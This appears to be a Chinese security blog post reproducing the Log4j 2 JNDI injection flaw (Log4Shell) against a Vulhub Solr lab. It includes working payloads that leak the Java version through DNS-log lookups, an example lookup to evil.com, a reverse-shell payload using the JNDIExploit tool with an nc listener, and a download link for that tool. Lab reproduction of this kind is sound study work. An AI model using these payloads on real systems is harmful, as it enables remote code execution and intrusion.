微信公众号:乌鸦安全

扫取二维码获取更多信息!

01 漏洞描述
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
参考地址:
https://github.com/vulhub/vulhub
本次漏洞复现也是基于Vulhub
02 漏洞环境搭建
docker-compose up -d --build

访问http://127.0.0.1:8983/solr/#/

03 Dnslog测试
在DNSlog平台请求一个dns域名:3j7r1s.dnslog.cn

构造:
${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3a5h27.dnslog.cn}
直接访问:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3j7r1s.dnslog.cn}

此时直接得到版本信息:1.8.0

或者是请求:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://cd9097fd.dns.1433.eu.org}

04 反弹shell
反弹shell需要使用JNDIExploit.v1.2,可以从下面百度云直接下载:
详细的信息可以参考上一篇文章
https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5

网络拓扑:

攻击机:10.211.55.23
靶机:10.211.55.2
中转机:10.211.55.3
中转机java版本:1.8.0_172
首先在中转机上使用JNDIExploit-1.2-SNAPSHOT.jar文件使用java启动,命令如下:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.211.55.3
其中:10.211.55.3为中转机的ip地址

然后在攻击机上开启监听:nc -lvvp 6666

此时构造如下命令:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://10.211.55.3:1389/Basic/ReverseShell/10.211.55.23/6666}
其中:
-
http://127.0.0.1:8983为靶机的地址 -
10.211.55.3为中转机地址
-
10.211.55.23为Kali攻击机ip地址,此时要反弹shell
更多用法可以参考:
https://github.com/zzwlpx/JNDIExploit
直接执行之后,shell就弹回来了

此时在中转机器上:

成功!
清除环境:docker-compose down

05 注 意 事 项
中转机的java版本:1.8.0_172

06 小插曲
微信公众号:乌鸦安全

扫取二维码获取更多信息!

4524

被折叠的 条评论
为什么被折叠?



